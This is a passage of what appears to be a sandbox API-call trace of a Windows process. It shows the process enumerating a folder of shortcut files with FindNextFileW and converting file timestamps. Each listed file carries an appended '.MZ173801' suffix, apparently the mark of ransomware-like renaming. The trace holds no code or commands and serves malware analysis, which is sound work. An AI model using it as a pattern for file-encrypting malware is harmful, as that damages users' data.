lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.578] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.578] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef91d20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdef91d20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x991017c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa79, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="dO Q3c1HB9zkLz M.lnk.MZ173801", cAlternateFileName="DOQ3C1~1.MZ1")) returned 1 [0122.578] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.578] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.578] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc3aa60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfae05a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9914da80, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x979, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="DUXhHjPx_fpD.lnk.MZ173801", cAlternateFileName="DUXHHJ~1.MZ1")) returned 1 [0122.579] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.579] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.579] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb41540, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdeb41540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9914da80, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xec1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Dw5RNx3tyh2O9iG.mkv.lnk.MZ173801", cAlternateFileName="DW5RNX~1.MZ1")) returned 1 [0122.579] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.579] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.579] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdefb7e80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdefb7e80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99199d40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1439, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="dxtxj-CI.lnk.MZ173801", cAlternateFileName="DXTXJ-~1.MZ1")) returned 1 [0122.579] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.579] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.579] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeda2b40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdeda2b40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x991bfea0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x144e, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="efOXL6YxYxJb0.lnk.MZ173801", cAlternateFileName="EFOXL6~1.MZ1")) returned 1 [0122.579] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.579] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.579] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee61220, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee61220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x991bfea0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf2c, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="ERs66343C7ShFGA.lnk.MZ173801", cAlternateFileName="ERS663~1.MZ1")) returned 1 [0122.579] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.579] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.579] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9fbd60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9fbd60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x991e6000, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x145d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="e_nSEbfXaEVeTS.lnk.MZ173801", cAlternateFileName="E_NSEB~1.MZ1")) returned 1 [0122.579] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.579] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.579] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa21ec0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa21ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9920c160, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="f1zK fglKn.lnk.MZ173801", cAlternateFileName="F1ZKFG~1.MZ1")) returned 1 [0122.579] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.579] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.579] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf858e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf858e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x992322c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="fhtI4R.lnk.MZ173801", cAlternateFileName="FHTI4R~1.MZ1")) returned 1 [0122.579] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.579] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.579] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9afaa0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9afaa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x992322c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="FveJ5bedfScgZ0 GLL.lnk.MZ173801", cAlternateFileName="FVEJ5B~1.MZ1")) returned 1 [0122.579] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.579] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.580] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded7c9e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xded7c9e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99258420, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="fZVy.lnk.MZ173801", cAlternateFileName="FZVYLN~1.MZ1")) returned 1 [0122.580] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.580] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.580] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf323e20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf323e20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99258420, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="GcPuh9ONd_.flv.lnk.MZ173801", cAlternateFileName="GCPUH9~1.MZ1")) returned 1 [0122.580] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.580] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.580] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfccf780, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfccf780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x992a46e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1473, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="geEDaQ9y6x6tyBlo.lnk.MZ173801", cAlternateFileName="GEEDAQ~1.MZ1")) returned 1 [0122.580] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.580] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.580] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa21ec0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa21ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x992a46e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa89, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="GoJjuImO-mij2jXwB3iX.lnk.MZ173801", cAlternateFileName="GOJJUI~1.MZ1")) returned 1 [0122.580] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.580] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.580] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfbc4de0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfbc4de0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x992ca840, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="Gpfsvhxc7oI9Y_EIQz.mkv.lnk.MZ173801", cAlternateFileName="GPFSVH~1.MZ1")) returned 1 [0122.580] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.580] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.580] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb41540, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf4a0be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x992f09a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x96b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="gYbE-viNm.lnk.MZ173801", cAlternateFileName="GYBE-V~1.MZ1")) returned 1 [0122.580] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.580] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.580] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde73d020, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf989940, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99316b00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xe4b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="he60tRzePztsrtC.lnk.MZ173801", cAlternateFileName="HE60TR~1.MZ1")) returned 1 [0122.580] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.580] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.580] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf643b00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf643b00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99316b00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xa4d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="hjg_Wz99z1qLZ.lnk.MZ173801", cAlternateFileName="HJG_WZ~1.MZ1")) returned 1 [0122.580] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.580] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.580] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf3700e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf3700e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9933cc60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xef1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="HoMGKUXklaWv Dlr.lnk.MZ173801", cAlternateFileName="HOMGKU~1.MZ1")) returned 1 [0122.580] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.580] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.580] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd4ca5a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfc110a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99362dc0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x207, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="hWfUtaPtfp9OHXNA9h.lnk.MZ173801", cAlternateFileName="HWFUTA~1.MZ1")) returned 1 [0122.581] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.581] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.581] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf55f2c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf55f2c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99388f20, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf37, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="HXnZ4EJpd91xeE75V.lnk.MZ173801", cAlternateFileName="HXNZ4E~1.MZ1")) returned 1 [0122.581] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.581] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.581] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf42e7c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf42e7c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x993af080, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x275, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="hZVPYttjablu-QCRFYNk.lnk.MZ173801", cAlternateFileName="HZVPYT~1.MZ1")) returned 1 [0122.581] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.581] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.581] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf5d16e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf5d16e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x993d51e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xea4, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="i0jXfoc7a.lnk.MZ173801", cAlternateFileName="I0JXFO~1.MZ1")) returned 1 [0122.581] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.581] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.581] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf454920, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf454920, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x993fb340, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1410, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="I2Gqc.lnk.MZ173801", cAlternateFileName="I2GQCL~1.MZ1")) returned 1 [0122.581] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.581] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.581] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1a7060, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1a7060, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x994214a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x20bf, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="iBRwwdAH7kup1D_A.lnk.MZ173801", cAlternateFileName="IBRWWD~1.MZ1")) returned 1 [0122.581] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.581] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.581] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde632680, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde632680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x994214a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xea4, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="IkmZeMY2n.lnk.MZ173801", cAlternateFileName="IKMZEM~1.MZ1")) returned 1 [0122.581] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.581] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.581] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf219480, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf219480, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x99447600, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="iWEb33Cogzj.lnk.MZ173801", cAlternateFileName="IWEB33~1.MZ1")) returned 1 [0122.581] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.581] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.581] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd5aede0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfccf780, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x9946d760, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x91d, dwReserved0=0x7a98342e, 